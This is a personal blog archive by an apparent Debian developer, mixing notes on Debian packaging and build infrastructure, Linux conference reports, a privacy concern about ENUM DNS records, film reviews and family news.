As much as I'd like to understand your frustration but I can't reproduce it. Joey does in his (nearly) one-man-show hell of a job. I'd wish that everyone would do as much for Debian like him.
But did it appear to you to look things up before you start ranting around? There is no phpbb2 in woody. The package only exists in sarge and sid, and like you said yourself those shouldn't be affected....
Please check the facts if you try to defame people with incomplete and easily refuteable informations that do their work. Rather fix some release critical bugs like the ones in your own packages.
I wish you all a merry christmas. At least those who do celebrate it, I don't want to offend people that don't. Finally I'm a little bit cheerful again. It is warm again outside, and the latest two presents I've been given were simply terrific!
Firstly there was my work collegue cjm who presented me with a Competition Pro joystick! I really hope I don't have to explain to you that this one's a legend, finally I can get the best out of vice and xmame-sdl!! YEAH!!
Secondly there was my beloved wife who satisfied my music addicition quite well: She got me Days Like This from Krezip. I saw this band at the Forestglade 2003 in Wiesen and was really totally stunned by their performance and songs. Thank you, my darling!!
And thirdly, while I am already writing this (this is the reason why above there is only the speak of two things) another coworker came in and gave me a snom 190 VoIP phone for at home. STRIKE! I won't have to fiddle around with kphone or linphone anymore (which both didn't really work in my first tries and don't have that great documentation.) I hope I'll be able to get this one running, though.
So, again, merry christmas to all of you who celebrate it, and to get you into the right mood see my latest deviation. (You can click on the picture to get a bigger version.)
It's time again. The opposite of well is meant well. A thing that looks like a good idea at a first glance will stab us in the back. Definitely.
RFC2916 describes the permutation of E.164 numbers in DNS. This permutation is needed for IP telephone calls, to be independent of the protocol and to be able to find the people by their number.
So far, so bad: Exactly this protocol independence it is that holds the problem: Already in the specification there are examples which should get you thinking:
$ORIGIN 4.3.2.1.6.7.9.8.6.4.e164.arpa.
IN NAPTR 10 10 "u" "sip+E2U" "!^.*$!sip:sven@sips.se!" .
IN NAPTR 10 10 "u" "mailto+E2U" "!^.*$!mailto:sven@ispa.se!" .
IN NAPTR 10 10 "u" "http+E2U" "!^.*$!http://svensson.ispa.se!" .
IN NAPTR 10 10 "u" "tel+E2U" "!^.*$!tel:+46-8-9761234!" .
That's nice. One does have a telephone number and gets the email address and the URL. Currently these entries aren't delegated but you can be assured: The telephone companies whose numbers these are are going to maintain the entries. Thus you will find the name and also the postal address in here, if not even more. This might sound rather pesimistic but after my cellular number appeared in a public telephone book without being asked at all I don't consider this utopistic.
Privacy protectors of the world, unite! This must not happen. As long as the phone companies are going to inform their customers it is a non-issue if the data really don't appear there. But it was never that easy before to automatically retrieve data of an unnumbered amount of people....
Sometimes one asks themself why nothing is getting finished. One gets the impression that they are only fooling around on IRC, playing games (e.g. kobodeluxe (level 33, btw.) and kq (finished the story so far)) and whatsnot...
On a closer inspection though there are things getting done: etpan-ng hit unstable, libetpan got a new upstream version released by myself, some more bugs detected and reported by myself (including one in kq which I just "played" like mentioned above). And when looking at the German wesnoth.po I'm currently proofreading for wesnoth which is 278k huge I guess being 18% through it isn't too bad neither. Oh, and finally got around and pushed up the current Debian Weekly News to the Linux-Community website again.
Sometimes things just look bad but in fact aren't too bad. Just need to get the server back up again on which my blog is hosted so you can read about this. I'm on my way, honey.
Somehow I can't seem to escape my lethargy currently at all. The films I've watched in the last weeks are still not online... At the moment I don't get anything finished — and this very blog entry is lying around since ages, as makeshift... *sigh* Sorry!
"Some of those that work forces, are the same that burn crosses"
We have been to a birthday party of a friend which he let happen for the sake of easyness on a party in Wiener Neudorf. It was called GOP, but don't ask me what that means. Anyway, it was simply great, superb music, nice people and not too exprensive drinks... Somewhen they played a song that I unfortunately haven't listened to for a long time but while listening to it I had to think of the old and new president of america: Killing in The Name from Rage against The Machine. The line in the title of this entry does fit perfect for him, doesn't it?
With this entry I anounce this new section in my blog. Whoever is only interested in my entries of musical relationship is able to do so by subscribing to it. If you have subscribed to my whole blog you won't need to do so additionally, though.
WE ARE AN UNFRIENDLY COMPANY. SENDING FRIENDLY "THANKS" REPLIES WILL GET YOU KILLFILED. YOU HAVE BEEN WARNED!
Did I mention that I hate custumers who reply "thank you" into our ticket system and reopening the cases? I guess I'll do some procmail magic to filter those out and move them to the SPAM queue....
This year for the first time I've been to the Big Brother Awards at the Flex here in Vienna. It has been celebrated for the sixth time this year, but like said I visited the first time so I can't compare with the previous years, but: it was great!! The party afterwards especially, with meeting all the people again. *gg* Anyway, I guess I'll drop by next year again just to see who is the winner.
A friend of me introduced the Free Alternatives list to me today. This is a great project in which people can search for Free alternatives to proprietary products. You can easily add new (prorietary, free) entries (which have to be approved because some people missubmitted quite some stuff because they were free as in beer, not as in speech), link some and enhance the list through it. I plan to enhance the page itself with better translation handling (Accept-Language + gettext support).... See you there!
The OS04 started quite early: with the ringing of my alarm clock at 4 in the morning. Granted, I could have gone there later, but then I'd have missed the keynote from Jon "Maddog" Hall. And that would have been a really bad idea. Jon came just in time to start his talk on time at 9:30. It was a presentation on a comparison of Free Software hackers with amateur artists. The lines he draw and the anecdotes on his first meeting with Linus Torvalds kept the audience more than just only interested.
Noone dared to interrupt him, not even while he used three times as long as he was planed to speak. And I guess noone really cared anyway... The rest of the day the tracks (three side by side) were all delayed by an hour through that.
I put up my stuff on some table, Michael Prokop told me that I can run a booth, but I didn't know that I'd be the only one. So I just put up the LinuxTag DVDs I was sent with the stickers and the flyers there and a little tray for the people to put donations in and told them to pick what they like and dip what they want. It worked quite well, and there were quite few who really asked some stuff. I also had some of the Ayo73 posters left which the people were quite interested in, of course.
There were a lot of interesting talks, and for the first time I found the guts to not care for the booth all the time (I from time to time checked for the donations to not have too much lying there) but also visit some of the very interesting talks. First has been a talk on The Gimp. I play a bit around with The Gimp myself, but the practical presentation with nice examples showed some of the more intersting features.
Dr. Klaus Schmaranz also had a really interesting talk: "Quality Criteria in Software Projects". He explained it with practical references to some projects he was involved with. The room was breaking full, and I really can just recommend to anyone with the chance to visit one of his talks. I'm really looking forward to his documents, although they'll lose without his talk next to it but still contain the interesting facts and ideas.
Later then it was time for my own talk. It was about the Debian Project and how it works, and I guess the people were interested. One person was especially interested in the Custom Debian Distributions (CDD) because he played with the thought of starting with Debian Enterprise but didn't know that it already existed. He also asked about if there are some Debian Developers which are well known (within the Debian world) like Maddog is in the general Linux community. Named a few, won't name them here or some might kick me for naming them but not the others....
I'm a bit sad that I couldn't visit the talk at the same time which covered "Extreme Programming". What one is hearing about it is that its approach is really helpful.
After this Michael Prokop had his talk about grml — Knoppix for System Administrators. We (yes, I'm part of the grml team) released version 0.1 on the event and from the feedback we got so far the interest for such a version is quite interesting. It got KDE and OpenOffice removed but added LaTeX, zsh as default shell and quite some system administrator stuff and geek tools. Quite some text based tools and lightweight window managers. grml longs especially for accessibility support because our dear Mario Lang from the Debian Accessibility CDD was fed up by the not real existent support for blind users in Knoppix. The current support in grml isn't much better because this is the first release, but we plan to enhance it quite much.
The day ended with the talk about "A.N.D.I.", a quite interesting project for architects, to cooperate and collaboration of not only architects but also with different other professions. Unfortunately due to the one hour delay it was quite late already and the audience wasn't really there anymore, we were three people watching a quick explenation of the project. And I must say: it was a really pity for those not having watched it because it was terrific what they produced already, and the potential that might be hidden in this project. Unfortunately it is written in java, but well, nothing is perfect... Maybe it works with kaffe.
A long day it was, and a really interesting one. Am looking forward for the OS05 next year, really. But the most funny thing that happened was while I am in the train writing this report on my way home: Another traveller with which I shared the train compartment said to me while I already started writing this and before he left the train: "Know what? You remind me of Schiele, because you're an artist and also tall and slim..." And I guess Maddog is after all right: Hacking is comparable to art. (I guess he was rather refering to the poster roll I was taking with me instead of my hacking, but you know: there are no coincidences.)
Sven Guckes has again been to Vienna, and we visited the Netznetz.net. It was quite interesting to experience what sort of art in the internet and around the internet in Austria happens. There were of course some known faces, which you meet at various happenings, but it featured also quite some projects which were more than just interesting. Especially one project of a fellow got me, who produced goggles with LEDs which he triggered from the computer, which he let blink for each eye with different frequency to produce some sort of trance feeling, because the speed of the brain halves start to synchronize. Quite impressive...
I did recently a new Vim syntax file for tpp (Upstream). I knew at that time already, that Patricia Jung wrote one, but she has choosen a non-free license for it which I personally don't see as a benefit for the community.... Well, now there are two, a free one and a non-free.
On the upcoming friday the OS04 will be happening in Graz. I'm looking forward to it, because I haven't been to Graz for a while. Especially I am looking forward to meet Jon "Maddog" Hall again. He will give the keynode and I hope to have the chance to discuss all the world and his wive. But I guess I'll rather be all the time at the Debian booth I offered and explain to the people that sarge is ready when it's ready....
At this posibility I am also really looking forward to the release of grml — the live CD for Geeks. Really, if Michael Prokop wouldn't have started it sooner or later I had to do it myself. Propably even with the same name, because I have since 1998 an email address which is named grummel. :-)
I've been asked today if we aren't going to cinema anymore... Sure, we still do. And I'm sorry, that I haven't written anything on it for a longer period of time. This is part of the things that I meant in my recent blogentries. There are 9 film quick cutups missing, and with tonight it will be two more.... *sigh*
Yes, I'll now write more often again. Unfortunately the cardbus of my notebook is dying and thus it is a little bit complicated for me currently to do some things, and I have to change how I do some of the things. There is still a list of things that happened in the last time that I want to write about in my blog. So don't give up hope and have patience on me....
Large Backlog, News on Wesnoth, XBlast-TNT uploaded
Yes, I know, it's ages since I last blogged... But what can I say, so much to do, so little time. Quite some things happened. I've built some packages on that mipsel machine, and glad that I could have been of help. I got accused for maybe creating problems due to not having the scripts that the buildd admins have. But I didn't upload a b0rked gtkhtml for mipsel, which one of the buildd admins with the soo great script managed for mips. I did notice the problem in the buildd log, which was hard to miss. But well....
The wesnoth team asked me what server version of wesnoth-server wesnoth.debian.net will be running. I told them that I'll stick to the sarge version, so we prepared a testing upload for it which changed the official server name from devsrv.wesnoth.org (which is tracking the developer releases) to wesnoth.debian.net (like said tracking sarge). It is currently sitting around in testing-proposed-updates and missing alpha, arm and mips builds. Those architectures have no testing auto builder, so we are in bit of a problem there (and not only us). I've got access to an arm machine, too, and prepared an arm build. Unfortunately it was rejected because the new version in sid wasn't built yet on arm neither. AARGH! I started an arm build for the version in sid, and when it was finished a new upstream version was uploaded.... So it also was rejected because there wasn't the source there anymore for the build. DOUBLEARGH! Am currently builing the next sid version, hopefully will make it this time....
Finally I've uploaded XBlast-TNT! Yeah! *bounces* It is currently sitting in the NEW queue and I hope the next NEW queue processing is soon. Will be uploading the packages to my private webspace for those who can't wait. Have much fun...
Though the version currently in development offers many enhancements: Chat, integrated level editor (we got the xile people from sourceforge into the project team), and quite some stability enhances. Watch it out!
Finally I've got access to a mipsel machine. Thought the Needs-Build stats for mipsels aren't that bad anymore, I see big problems with the ordering: I've found yaz to be waiting since 72 days for a mipsel build making it invalid for sarge, and several other packages that are also waiting (only) for mipsel builds: dbview (15 days), gauche (43 days), libopengl-perl (45 days), sqlite (20 days), nemesis (34 days), txt2pdbdoc (29 days), and so on.... There is definitely something wrong, when other packages which are uploaded just recently have no problem being picked up by the mipsel buildds (which had problems, but still processed others in the meantime on irregular basis).
Thus I am currently hand building packages for mipsel on a host that I got sponsored by Kapper.net: Much thanks to you, Harald!! He sponsors the machine with connectivity completely to the project, and I hope to get it incorporated into either buildd.debian.org or buildd.net, whichever sounds more reasonable to me and do accept it. I will though keep on building by hand because of the missorting in the scripts for the time being (in order given by oldest.html). This will help sarge much more, IMHO. I am uploading the build logs to my own webserver because I don't want an apache on the build machine to load it even more. If you are interested in them, here they are.
I am working on packaging etpan currently. During the recent discussions about mail user agents on Planet Debian and my partly frustrating experiences with mutt I think I have to give etpan a try. It is new but already quite useable from what I've read, and because it's new it is still open to suggestions; not like mutt. It is a horror to have multiple gnupg keys with different passphrases with mutt, and there are other rather annoying things with it (like, that you can't read other mails while currently composing a message; a feature that I need sometimes to look up references). My current efforts on etpan though turn around getting a liblockfile1 patch for libetpan itself, which is ITPed already but still pending an upload. My efforts aren't that well, because I'm now encountering segfaults with etpan itself... But I guess I'l stick to making etpan setgid mail for the time being (of course I won't upload it that way, or package it such, I'm using dpkg-statoverride locally).
Currently playing kq again. It is a nice adventure and I didn't "finish" it the first time I played. We need much more such games, although someone whom I encouraged to take a look complained to me that the graphics suck. I don't think so, especially I simply don't care about the graphics as long as the longtime motivation and the gameplay is alright. I never heard anyone complaining about that tetris graphics sucked....
Yes, Planet Debian is broken. A while ago I had to restructure my blog a little bit to make it work with my AcceptLang plugin. Because of this Planet Debian displayed entries of mine as new. But it wasn't my fault: Planet Debian gives a damn about the <pubDate> noted in the feed anymore. I was told this is a sort of "precaution against broken blogs that update the pubDate on typo fixes". It is really nice that we do work around broken blogs and harm those who do it right, instead of getting the people to fix their broken software. Yeah for breaking stuff for completely sensible software!
Sarge gonna release without XBlast-TNT, ldapvi not on mips
According to the release update today is the last day for low priority uploads which can make it into sarge. That means that XBlast-TNT won't make it. A pity, though I guess it is better that way because we are making quite huge changes currently. There is a chat mode underway, and the XILE (XBlast Integrated Level Editor) is also currently wandering into our CVS. So, stay tuned. I will offer packages through http://rhonda.deb.at/debian/xblast-tnt/ — in fact I have already uploaded a first snapshot of my packages there (although it is based on an older snapshot). I won't provide an clean upgrade path for those though, especially the version scheme has to be settled. I don't want any epoch in it already before I upload it into the pool — I hope you don't mind too much.
On the other hand, I'm wondering why ldapvi hasn't been picked up by mips yet. Granted, it has no old version in sarge, so other packages need the buildd more than this package, but still, it would be nice to have it in sync. After all, its not huge. Well, only time will tell....
And it told! During me writing this, it was built. Many many thanks, Madkiss!!
Thanks to pasc for accepting myself as co-maintainer of the blosxom package. I started working on the bugreports and closed two already with a new upload yesterday. I am not sure if I will be able to do another upload before the deadline for sarge comes out, but I will find a solution for #230797 (and of course the others, too) — it is just not that easy to restructure the things, because /var/lib/blosxom is already taken partly for the plugin state directory (but not used? Uh...). Debconf question for moving the old content and for changing the configuration file is also needed.
I have updated AcceptLang plugin, too. It now does some real parsing of the Accept-Language header or the lang parameter. And it works nicely with the config plugin, too. Furthermore the promised documentation has been added, just "perldoc AcceptLang" it.
Another tuesday, another cinema evening. This time the first film has been "Ruby & Quentin" which was really funny. I love Jean Reno's acting, and in this film even Gérard Depardieu was great. True fun.
Second film has been "Walking Tall". Although the story wasn't that exhaustive it was a nice action movie. The Rock rocks!
It's finished! I have done another plugin for the blog software of my choice. This time I can present you AcceptLang which allows people to blog in multiple languages, but displays to the users only the language they want to read. My entries will be available in German and English from now on. My blog will parse the Accept-Language header directly, and if you want to request either english or german directly just add the parameter lang=en or lang=de to the URL. This especially works for the syndicated feeds. Documentation will be added soon. For now, UTSL.
Some might ask why. Quite easy: planet gnome-de is a collection of blogs for German language support in GNOME. Thus it was quite obvious that the blogs there should be in German language, too. So during the discussion I suggested to do this plugin so people can read them in the language they prefer. There you are. Of course I've set the default language to english, to the syndicators so far are not irritated.
Quite some time passed since I last blogged. Went to cinema twice in between. First we saw "The Punisher" last week, and I must say I didn't really like it. It was too much violence, and it did glorify it. But well, that's what the comic was, too.
On tuesday we watched "TRaumschiff Sursprise". This was a nice evening in contrary. It had enourmous references to different other films and stuff, like "Shrek 2", and it is interesting to see how the trivia section on imdb.com for it is slowly growing.
Some days ago I tried the new debian-installer. I like it. It's straight forward and has some quite interesting features that were often requested before. The default user doesn't have the realname preset with "Debian User" anymore, so I hope people will more likely put something sensible in. And: It will be put into the hardware groups for audio, video and such so there is need anymore to do that by hand. Great work, pals!
Only some small things I'd like to notice: It doesn't warn you setting stupid (or even not so obvious) flags for some harddisk partitions. I stumbled over that because I thought: "Hey, nice feature, I guess I'll set /tmp to noexec..." but that didn't work out because the shell after the reboot seems to be put into /tmp. There is already a warning message if you put / on a LVM volume that tells you that it can't boot afterwards (but it would be nice to have that before doing that work...). So I don't think a warning message about those mount options would be a bad idea.
lefant asked me to sponsor Fillets NG. I guess I'll do it, once I solved that "Plants on the Stairs" level. He will be on vacation for some time now so I have noone behind me who wants me to upload it RSN. Great! If you like to give it a try, use this lines in your sources.list:
# fillets ng
deb http://lefant.net/debian ./
Due to some question in #debian.de I was once again browsing the homepage of D.J. Bernstein. Although I can't agree less with him on the (hidden) license of qmail (heck, he could take it from the page and you won't have anything left which allows you to use it), he has a point on his Software user's rights page. The only problem is: It is US centric, and he doesn't seem to care about the rest of the world. Tough luck that the US is only a small part with respect to the rest of the world...
Yesterday we watched "Mambo italiano". It was true fun. Somehow the daughter reminded me of Cher, and Nino was a real ass — but Luke was sooo sweet, and honest throughout the whole film. Its worth it, give it a try.
On tuesday it was our sequel evening. We watched both "Shrek 2" and "Spiderman 2". Both have been part of the Cineplexx unlimted ticket, and we even saw "Spiderman 2" before its official start the next day.
"Shrek 2" was really great. Especially the cute look of Puss in Boots was as great as it has been seen already in the trailers. But all the references to other films and things were great: The Street Fighter game from the good old Super Nintendo, Starbucks and even Ghostbusters. You simply got to love the load of references in this film. And the best thing is: "Shrek 3" and even "Shrek 4" are already sealed. Wooohoooo!!!
"Spiderman 2" was also great. And unlike the other real life comic movies I guess its not that far from the books (although I must admit that I didn't read it that intensively). I think they show quite well that Peter isn't that comfortable with being Spiderman yet... And for what it's worth, "Spiderman 3" is announced, too.
I've uploaded ldapvi into the pool yesterday. A great tool which helps immensly maintaining ldap databases, or even just for a quick query. And I noticed that there doesn't seem to be a ldif.vim in sarge yet. Can't wait for vim 6.3 in sarge. I guess I'll have to request from upstream to name the temporary file data.ldif or such.... It is now sitting in the NEW queue, and if you can't wait for it to make it into the pool you can find preliminary packages (built on a sarge system, though; not the version I uploaded) on my website like I do for most of the packages I am working on.
Received some funny spam today, might cheer up your day, so I am going to share the intersting parts with you:
Have been to LinuxTag this year. Drove there with maxx by train. I got a great price reduction for my ticket because I was a co-driver. Funnily I paid less without any additional reduction ticket, which he had. I didn't know where to sleep until I came there, where I was told that there has been logistic problems with some hotel booking, so I was able to sleep at the hotel. Was quite a walk there, though.
The not funny part was that my wife was getting ill the same day, but she said I should at least stay the next day for my talk so I didn't go there for nothing. I tried to help Ganneff and Tolimar with the booth as good as I could, to make up for my early leave. Met quite some people, both for keysigning and a short talk, both old pals and new faces (most interesting to me was Sven Herzberg from GNOME Germany — quite charming guy!). Even had a short discussion with Georg Greve from FSF Europe about some short topics, but I guess he wasn't really sure where to put me. The only talk I really watched was the one from Andreas Tille about "Custom Debian Distributions" — really interesting visions and future coming up. I need to grab his magicpointsources though, he had some quite interesting things in it that I tried to achieve myself too but didn't manage yet. At the evening there was the software patent demo, and after a short stay at the AKK I went back home again. We had some MMTW there too, some picutres are in my gallery. Was quite fun.
I've shot some pictures and they are availablealready. Like with the pictures from the Linuxwochen they are still unsorted and not rotated. Please don't link them directly but rather just the directory.
Being back I managed to do an upload for rungetty again. Somehow a group sticky bit managed to hit the .orig.tar.gz of it and some people could have problems building it (although the build daemons are not in that range). Also I now adopted the idea that I should call initgroups(3), I don't know why I didn't like the idea originally.
I was a bit in a hurry before and forgot to mention alternative addresses where you can reach me. You can reach me both through my address at work (@sil.at) and through my alternative email address on my own domain (@gwendoline.at) — those go to different mailboxes and thus don't have the problem my Debian and ist.org address (and the various forwards to there, like all the @alfie.ist.org addresses) are encountering currently. I will add the gwendoline address eventually to my gnupg key as a hint for future problems.
Sorry, pals. Yes, I know, my mails are blocked currently. Unfortunately there is nothing I can do about it currently. Usually I have sudo access on the host and am able to fix the problems on my own, but this time its differently: The server moved to a different hardware architecture and thus some things were harder to setup for the main admin of the host. Unfortunately I have found out about the mail server breakage after me phoning him — and now it's too late to phone him tonight. I will try to get back with him as soon as possible tomorrow and hope that I'm not unsubscribed automagically from too many lists in the meantime.
Because I split up my blog it is easier for me now to write shorter snippets and thus on a more regular basis. Before I always wanted to put some Debian related stuff in. This hindered me from posting that I watched "Der Wixxer" last week. Now that I have this cinema section I no longer feel the need to also put some Debian related stuff in.
"Der Wixxer" is a German production so I guess there won't be any English version, but if you have the chance I suggest you to go and watch it. Its really worth it. The German commedy elite (Bastian Pastewka, Anke Engelke, Olli Dittrich, Oliver Kalkove and others) is in it, and if you like their style it is worth it.
I am going to restructure my blog thoughly, and use different sections from now on. This will help me find the things I am looking for hopefully while allowing the people syndicating my blog to only get the parts they are interested. Thus I have stared with this test section now in which I will put the various online tests I do. Yes, I like doing them, why do you ask? :-)
And because I like them and do them regularly they deserve their own section. And to make it on topic for this section here is the one I did today.
I'm A 1960s Geek
You're pretty quirky and weird but we know you're smart and love you anyway!
I'm preparing again an update for logcheck for stable. The debconf implementation was really broken back then and it wasn't prepared for an non-interactive debconf frontend (like debconf-tiny and the mail frontend provides). I've already talked to our stable release manager and he said he would accept a fix for that bug. It seems like I'm becoming the stable official for logcheck, or something. :)
The Cineplexx cinemas have a great offer these days: 10 films for € 25,- (where 9 of them are pre-picked and one to choose yourself). Of course we choose to take that ticket, and have seen the first three films already:
First has been "Troy" on sunday. It was nice, but not outstanding. Priam should have better listened to his sons. Both of them...
Yesterday we watched again two films. We started with "Day After Tomorrow". Was great. Roland Emmerich is considered to be a great american patriot (although he is from germany), but in here he had quite some sidekicks against the americans. The finish was hollywood like, but still not kitschy. Nice waste of time.
I was just informed that the Massive Multiplayer Thumb-Wrestling (MMTW) we had at the Linuxwochen was featured on /.. Which is really great, because it was a nice happening, and something completely different for the already stressed tendons. I hope this will be picked up and am looking forward to the LinuxTag in Karlsruhe next month where I hope to get a MMTW BoF session. Hope to see you there!
I've put my photos from the Linuxwochenonline. There are directories forallfourdays. I will tweak them a little bit (like, rotate them accordingly) and maybe even rename them, or adding an index file with thumbnails, I don't know yet. So please don't link to the pictures directly because those links won't last....
Have been seeing "The Prince & Me" yesterday. If you aren't a true fan of Julia there is no real need to watch this film. Especially the ending is one of the worst I've seen in ages, it looked like they were forced to add it so it is able to make it in Hollywood...
Second movie this time has been "Runaway Jury". This one I can on the other hand truly recommend. It has a quite intersting story that isn't completely clear until quite late in the movie. It made up for the other one. :-)
Linuxwochen in Vienna over, debconf5, Lullaby songs wanted
The Linuxwochen in Vienna are over. The four days were quite exhaustive, but true fun. You will be able to read a report of the event online (soon, once some parts are approved). I sincerely hope that someone gets put a report for the debconf together that happend at the same time so I know what I've missed...
Speaking of the debconf, debconf5 won't happen in Vienna. I am unfortunately too busy to do all the things on my own. Especially private life is a little bit more CPU intensive these days, and after the Linuxwochen I need a break. There were some others that would have loved to help, but unfortunately not enough that I could without any bad feeling say that it will meet my own standards when it happens. Debconf will happen in Vienna though, but not next year. Its definitely too short now to get everything set up and finished in time. Helsinki is on the run, and have some quite interesting sponsoring support. I will try to help them at least with some of the results of our brainstorming work so far.
Due to personal interest my wife wants to inspect various Lullaby songs from around the world. Especially from different sorts of cultures. If you are able to send some, please include English/German translation and the original text, and send them to lullaby@alfie.ist.org. Would be really nice.
Btw., no need to send German songs, we have already a very good source for those and would fear only duplications. If you on the other hand think they are very rare and widely unknown give it a try anyway.
On wednesday the Linuxwochen are starting in Vienna. Debian will be represented with a booth run by me and various other helpful people. I hope that we receive the posters and stuff sent by Noèl and Joey in time so we can put them up. I have some left from last year but none for the upcoming LinuxTag, or the new ones.
Informationi
Alfie is a restricted area. Authorised personel only
Finally got the flue again. Was in bed since last week tuesday evening. First thought it was part of the usual backdraft from visiting both of Die Ärzte concerts, but wasn't. Got me quite hard, it seldom lasted that long... Was even too ill to celebrate our wedding day on thursday, unfortunately. That will have to be picked up later, though. Still drinking peppermint tea, for once because I simply like the taste and also because I don't want to get ill too soon again!
Discussed various things regarding logcheck with maks. Helped him to squash quite some bugs. Set up cvs-mailcommit for the aliothCVS. And maks also got me to work on my Bugs.pl script again. He came up with some really good suggestions, nothing hardcoded anymore and flexible enough to use for various tasks.
xblast heavily updated. Almost all data has been put into CVS, only the player models are missing. The files have been split that way so they can be easily released and updated seperately, which will make it easier to package them. No forced image package update anymore just because they come from the same source package. Yippie!
We will do a release soon, and I will start with some first Debian packages for it. xblast is a too great waste of time to let it pass away... Oh yes, some first shape howto is available, too. :)
Today I've read another one of those nonsense messages. People, don't write ASCII when you in fact mean textbased!! Is that too much asked for??
Well, then maybe it is also too much asked for that people should speak of GNU/Linux instead of Linux. Or, to be even more correct, GNU/Linux™, or even \phi : GNU \rightarrow GNU/i(Linux(TM)). Whatever.
Going to see Die Ärzte tonight... Am totally nervous and happy and looking forward to it... Maybe I'll see some who read this there and don't even notice! "Das sind Dinge von denen ich garnichts wissen will..."
Watched "Kill Bill Vol. 2" yesterday. Really great. Yes, I know, people say too much violence, but it was in a way people don't seriously can take it serious. And to say it with the last spoken words in the film (that I expect most of you haven't seen because people always leave before the end of the film....): "Oh, come on, let's do it again!"
XBlast Developement Picked Up Again, 50 First Dates, PCMCIA Working
BlindMan (beware, hopelessly outdated!) recently bugged me again about the new xblast-tnt version and a Debian package for it. He also found out that some of the people working on the new version are hanging out in #xblast on freenode. So I joined there and found out that they have xblast-tnt extended quite heavily: Shrink hints in the timeline, central server for game coordination and player stats, colleted over 1000 levels and also quite some player models.
So I picked up my registered xblast project on sourceforge again to centralize the efforts and use some CVS and stuff. I've also resolved the two remaining bugs that was sitting in the queue. (I have another one open for historical reasons which might make sense for a woody upload. I am not sure if it will be accepted though so I am unclear about that currently.) During the next weeks I hope to come up with a new xblast-tnt package (or, if I think it is good enough as a replacement upload it directly as xblast -- we will see). I will put some status things into my xblast-tnt pool about the Debian packages. There is nothing yet there though except for the (forward)ported abort flag patch done by snowcrash. But that is worth a look anyway. :)
Watched "50 First Dates" yesterday. Was really nice and funny. If you watched "The Wedding Singer", you can expect quite the same, just with different story. Drew and Adam, Adam again written a special song for the movie and performing it. Though I liked the one from The Wedding Singer much more, 50 First Dates over all is really worth it.
About the PCMCIA problem I blogged lately: I don't know why, but it is resolved again. I hope it doesn't work again. After some hours of leaving the notebook turned off it worked again. It was definitely no overheating though, because the notebook was cool all the time.... Strange things happen these days.
Right before when I tried to plug my notebook into the network again it worked for some seconds, but then my cardbus seem to have broken immediately. The notebook froze completely, I wasn't able to do anything anymore, only after I removed the card from the slot again it started working. The card works perfectly in the notebook of a teammate, so it must be the cardbus. Unfortunately I can't afford to repair it, and I am not sure when I will be able to afford a usb networkcard (which is in contradiction with my desire to put my GnuPG key onto my usb stick, too...).
That given I am currently unable to do my Debian work (or anything else, fwiw. Yes, that includes mails). The desktop PC at home my wife used has some hardware problems too since some time, but I guess I have to debug them now. Unfortunately I am more or less forced to work on my way to or from work for Debian, so this doesn't help too much, and the ADSL line isn't that stable neither. I will have to find a solution for that, and if it means taking a break for some time. Sorry...
Some people have things like "currently listening" or moods in their blog. I think you can guess which mood I am now in, and if I would put something on I guess it would be "Catch Me" from Clawfinger: "I feel more alive dead than when I was alive". One of my alltime favorites.
It cought me: Star Trek — The New Empire layed a tractor beam on me. Unfortunately this game is German language only, but it doesn't involve much time needed and seems nice (at least the three ticks I played so far).
Finally the logcheck bug #193161 has been fixed for stable. There seem to have been lots of misunderstandings around this, but it still is a pity to see Steve giving up and handing the package over to someone else. I hope those persons will handle it like this nice package deserves. I've noticed that Matt uploaded the package with my name in the Changed-by: field as credit for extracting the relevant patch. Too generous....
I already raised interest in security work when Steve blogged about David Wheller's Secure Programming HOWTO but I guess that is too long for me to offer a translation. I will read it at least and try to help when I get informed that help might be needed like this time, again. Funny coincidence: I am thinking for quite a long time about packaging bricolage now for which Erich did some preliminary packages, and guess what: The main author is David Wheeler. At least (I hope) this package won't need any security update, then... :-) On the other hand, never say never.
Yes, I'm back from vacations. Work did wait, of course, and pile up.... Only thing I can offer you in this short "I'm back" message is this: At the IKEA Köln they have a special parking space for people like us! See:
It means: "only for IT workers". Some people try to convince me that there is just the M missing and it really should read like "only for co workers", but I think those are just envy because I found a special parking space for people like me...
On friday there has been the funeral of my grandma. The whole family was there except for my younger brother Gernot. He is currently working on board of the MS Deutschland in Oman and it is too expensive for him to come back just for the funeral. It was really nice, and I just can quote the song that started the Mass:
Wenn kein' Nacht nimmer käm',
könnt der Tag nicht besteh'n,
wenn's kein Regen nicht hätt',
wär' die Sonn' auch nicht schön.
Und das Leid ist wohl da,
das wir d'Freud' recht versteh'n.
After the funeral we sat together and talked about the various things that we remembered... The next day we went to her flat to fetch some things. The quilt my wife made for my grandma was given back to us, and I got a picture that was hanging in their living room since I was a small boy. I always liked it and it will help me to not forget the nice times we had, even the time before my grandpa died ten years ago...
On wednesday I will go on vacation for a week. Can't remember when I have been on vacation the last time — you don't think of taking a vacation when you (have to) switch jobs too often. I am glad that I am now for over one year again in this job and hope it will last for longer again. I will go visit the family of my wife (which in turn is now mine, too :)) in Bonn, but I can't tell yet if and when I will find the time for keysigning — they are a quite large family. I just know that we have to visit Ikea Köln but like I said: I don't know when. So please don't ask.... I have got the mobile number of towo and will notify him if I really find the time for a meeting, so best is to let him know that you might get informed, too. towo is his irc nickname, if you wonder.
metakit uploaded - debhelper check; Luther, Scary Movie 3, Polly
Finally managed to get metakit finished. 2.4.9.3 is sitting in NEW for now. For those interested they can fetch it from /debian/metakit/ on my homepage. I am not sure if packaging it makes much sense, though. I picked it up because grub-client (a shared search engine) needed an update, but that package got removed from the pool because upstream doesn't seem to be that interested in the linux version as they are in the windows version; and noone reacted to the segfault problems. The other dependency that needed metakit back then was flightgear, but that doesn't use it anymore neither.
On the other hand, at least two people asked me for an update because of tcl8.4 and python2.3 transition. I am not sure if they just wanted to get rid of tcl8.3 and python2.2 dependencies or are really interested in it, though. I guess I'll have to mail them.
While working on metakit I though noticed why debhelper is a charm. It helps quite well for larger packages which produce different deb files. Especially dh_movefiles is interesting (although I already have been told that dh_install is the successor, so no need to mail me on that part ;)). I still prefer doing my own debian/rules file because I want to know what is going on. I think it is worthwhile to do it because I guess you tend to lose grip with the policy if you depend on debhelper too much. Someone told me that own written debian/rules file are hard to maintain; but I like to disagree. You can't do a general statement on that. I have seen a horrible debian/rules file and I am quite confident that my own written one isn't any problem. At least it keeps me tracking the policy, which I am quite sure not every other Debian Developer does...
Like I said, I watched "Luther" on monday. Although I consider it to be done quite terse it was really worth it. And I was wrong, it wasn't the latest work staring Sir Peter Ustinov, it was the last....
Yesterday we watched "Scary Movie 3" and "Along Came Polly". The former was quite funny, although I remember to have laughed more on the latter. The ferret was the most intersting role in it :)
